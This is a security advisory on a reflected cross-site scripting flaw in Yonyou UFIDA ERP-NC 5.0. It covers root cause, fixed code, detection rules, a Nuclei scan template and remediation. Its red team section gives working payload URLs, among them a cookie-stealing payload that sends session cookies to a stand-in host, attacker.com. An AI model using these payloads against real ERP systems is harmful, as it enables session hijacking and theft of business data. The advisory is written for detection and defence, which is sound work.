CVE-2025-2710

Executive Summary

CVE-2025-2710 is a reflected Cross-Site Scripting (XSS) vulnerability in Yonyou UFIDA ERP-NC version 5.0. The flaw exists in the /menu.jsp file, where the flag parameter is unsanitized and reflected directly into the HTTP response. An attacker can craft a malicious URL that, when visited by an authenticated ERP user, executes arbitrary JavaScript in the context of the victim's browser. This can lead to session hijacking, credential theft, and unauthorized actions within the ERP system. The vulnerability has a CVSS score of 6.1 (Medium) and a public proof-of-concept (PoC) is available. No official patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability affects a proprietary ERP application (Yonyou UFIDA ERP-NC) and is not related to open-source packages (NPM, PyPI, Go, Ruby). No supply chain implications are present.

CVSS Breakdown & Threat Level

CVSS Score: 6.1 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

• Attack Vector (AV): Network - The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low - No special conditions are required for exploitation.
• Privileges Required (PR): None - The attacker does not need to be authenticated.
• User Interaction (UI): Required - The victim must click on the malicious link.
• Scope (S): Changed - The XSS can impact resources beyond the vulnerable component (e.g., session cookies).
• Confidentiality (C): Low - Limited information disclosure (e.g., session tokens).
• Integrity (I): Low - Limited ability to modify data (e.g., perform actions on behalf of the user).
• Availability (A): None - No impact on system availability.

Threat Level: Medium. The vulnerability is easy to exploit, has a public PoC, and can lead to significant business impact in an ERP context (e.g., financial data theft, unauthorized transactions).

Deep Dive & Mechanics

The vulnerability resides in the menu.jsp page of Yonyou UFIDA ERP-NC 5.0. The flag parameter is taken from the HTTP GET request and embedded into the HTML response without proper sanitization or encoding.

Root Cause: Lack of output encoding for user-controlled input in the flag parameter.

Attack Flow:

1. An attacker crafts a URL: http://target/menu.jsp?flag=<script>alert('XSS')</script>
2. The attacker sends this URL to a victim (e.g., via phishing email or social engineering).
3. The victim, who is authenticated to the ERP system, clicks the link.
4. The server processes the request and reflects the flag value directly into the HTML response.
5. The victim's browser executes the injected JavaScript.
6. The malicious script can steal session cookies, perform actions on behalf of the victim, or deface the page.

Technical Details:

• The flag parameter is reflected without any encoding (HTML entity, JavaScript, or URL encoding).
• The response content type is text/html, allowing script execution.
• No Content Security Policy (CSP) headers are present to mitigate the attack.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<%
String flag = request.getParameter("flag");
%>
...
<div><%= flag %></div>

Patched Code (Conceptual):

<%@ page import="org.owasp.encoder.Encode" %>
<%
String flag = request.getParameter("flag");
%>
...
<div><%= Encode.forHtml(flag) %></div>

Explanation: The vulnerable code directly outputs the flag parameter using <%= flag %>, which does not perform any encoding. The patched code uses a context-aware encoder (e.g., OWASP Java Encoder) to HTML-encode the output, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Yonyou UFIDA ERP-NC 5.0.
• A victim user authenticated to the ERP system.
• Network access to the target.

Exploit Steps:

1. Craft the malicious URL:

   http://target/menu.jsp?flag=%3Cscript%3Ealert(document.domain)%3C/script%3E
   

   (URL-encoded version of <script>alert(document.domain)</script>)

2. Deliver the URL: Send the link to the victim via email, chat, or other means.

3. Execute the attack: When the victim clicks the link, the JavaScript executes in their browser.

Advanced Payload (Session Hijacking):

http://target/menu.jsp?flag=%3Cscript%3Enew+Image().src%3D'http://attacker.com/steal%3Fcookie%3D'%2Bdocument.cookie%3C/script%3E

Lab Setup:

1. Deploy a vulnerable instance of Yonyou UFIDA ERP-NC 5.0 (e.g., using a Docker container or a VM).
2. Ensure the /menu.jsp endpoint is accessible.
3. Use a tool like Burp Suite or a simple Python HTTP server to capture the stolen cookie.

Blue Team (Detection & Response)

Detection:

• Monitor web server logs for requests to /menu.jsp with suspicious flag parameters containing <script>, onerror, javascript:, or other XSS patterns.
• Use a Web Application Firewall (WAF) to block requests with XSS payloads in the flag parameter.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Response:

• If an attack is detected, immediately block the attacker's IP address.
• Invalidate all active user sessions to force re-authentication.
• Review server logs for any compromised accounts.
• Apply virtual patching (e.g., WAF rule) until an official patch is available.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /menu.jsp with a flag parameter containing:
  • <script> tags
  • Event handlers (e.g., onerror, onload)
  • Encoded JavaScript (e.g., %3Cscript%3E)
• Outbound HTTP requests from the ERP server to unknown external IPs (potential data exfiltration).

Host IOCs:

• Unusual JavaScript execution in the browser context of the ERP application.
• Modified or injected content in the /menu.jsp response.

Log IOCs:

• Web server access logs showing requests to /menu.jsp with non-standard flag values.
• Application logs showing errors related to the flag parameter.

Detection Engineering

YARA Rule

rule CVE_2025_2710_XSS_Flag_Parameter {
    meta:
        description = "Detects XSS attempts targeting the flag parameter in menu.jsp"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-2710"
        severity = "medium"

    strings:
        $xss_payload_1 = "<script>" nocase
        $xss_payload_2 = "onerror=" nocase
        $xss_payload_3 = "javascript:" nocase
        $xss_payload_4 = "onload=" nocase
        $url_path = "/menu.jsp" nocase

    condition:
        $url_path and any of ($xss_payload_*)
}

Sigma Rule

title: CVE-2025-2710 - XSS via flag Parameter in menu.jsp
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects reflected XSS attempts against Yonyou UFIDA ERP-NC menu.jsp
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/menu.jsp'
        cs-uri-query|contains|all:
            - 'flag='
            - '<script'
    condition: selection
falsepositives:
    - Legitimate use of script tags in parameter (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-2710 - Yonyou UFIDA ERP-NC XSS via flag parameter";
    flow:to_server,established;
    content:"/menu.jsp"; http_uri;
    content:"flag="; http_uri;
    pcre:"/flag\s*=\s*.*<script/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Nuclei Template (Provided)

id: CVE-2025-2710

info:
  name: Yonyou UFIDA ERP-NC V5.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Yonyou UFIDA ERP-NC V5.0 is vulnerable to reflected cross-site scripting (XSS) via the flag parameter in menu.jsp. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.
  impact: |
    Successful exploitation of this XSS vulnerability allows attackers to execute arbitrary JavaScript code in victims' browsers, potentially leading to session hijacking, credential theft, or other malicious activities in the ERP system.
  remediation: |
    Update Yonyou UFIDA ERP-NC to the latest version. Implement proper input validation and output encoding for all user-supplied data, especially the flag parameter in menu.jsp.
  reference:
    - https://github.com/Hebing123/cve/issues/85
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2710
  classification:
    epss-score: 0.00101
    epss-percentile: 0.27573
    cve-id: CVE-2025-2710
    cwe-id: CWE-79
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cpe: cpe:2.3:a:yonyou:ufida_erp-nc:5.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: yonyou
    product: ufida_erp-nc
    fofa-query: icon_hash="1085941792"
    shodan-query: title:"用友"
  tags: cve,cve2025,xss,erp-nc,ufida,yonyou,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.jsp"

    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'contains_any(tolower(body), "yonyou nc", "name=\"ncapplet")'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/menu.jsp?flag=%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "<script>alert(document.domain)</script>")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100e20ed8ff32bc14e35d1f4025f4b6cbc16a00fba6d175c42bae627b26263165dd022100dd62708f6ad20bb0b0bcd2c07772b139ada8ddc935677e11db5ed08ef9051fd4:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Virtual Patching: Deploy a WAF rule to block requests to /menu.jsp containing XSS patterns in the flag parameter.
2. Input Validation: Implement server-side validation to reject any flag parameter containing HTML tags or JavaScript.
3. Output Encoding: Encode the flag parameter using HTML entity encoding before rendering it in the response.

Long-Term Fix:

• Apply the official patch from Yonyou when it becomes available.
• Upgrade to a patched version of UFIDA ERP-NC.
• Conduct a security code review of all JSP files to identify similar vulnerabilities.

Compensating Controls:

• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use HttpOnly and Secure flags for session cookies.
• Enable X-XSS-Protection header (though deprecated, it can provide some protection in older browsers).
• Educate users about phishing attacks and the risks of clicking on suspicious links.

Valters IT
DevSecOps & Cyber Threat Intelligence

{/* [Security Hash: F539DC1F5FDE9438814D5206] */}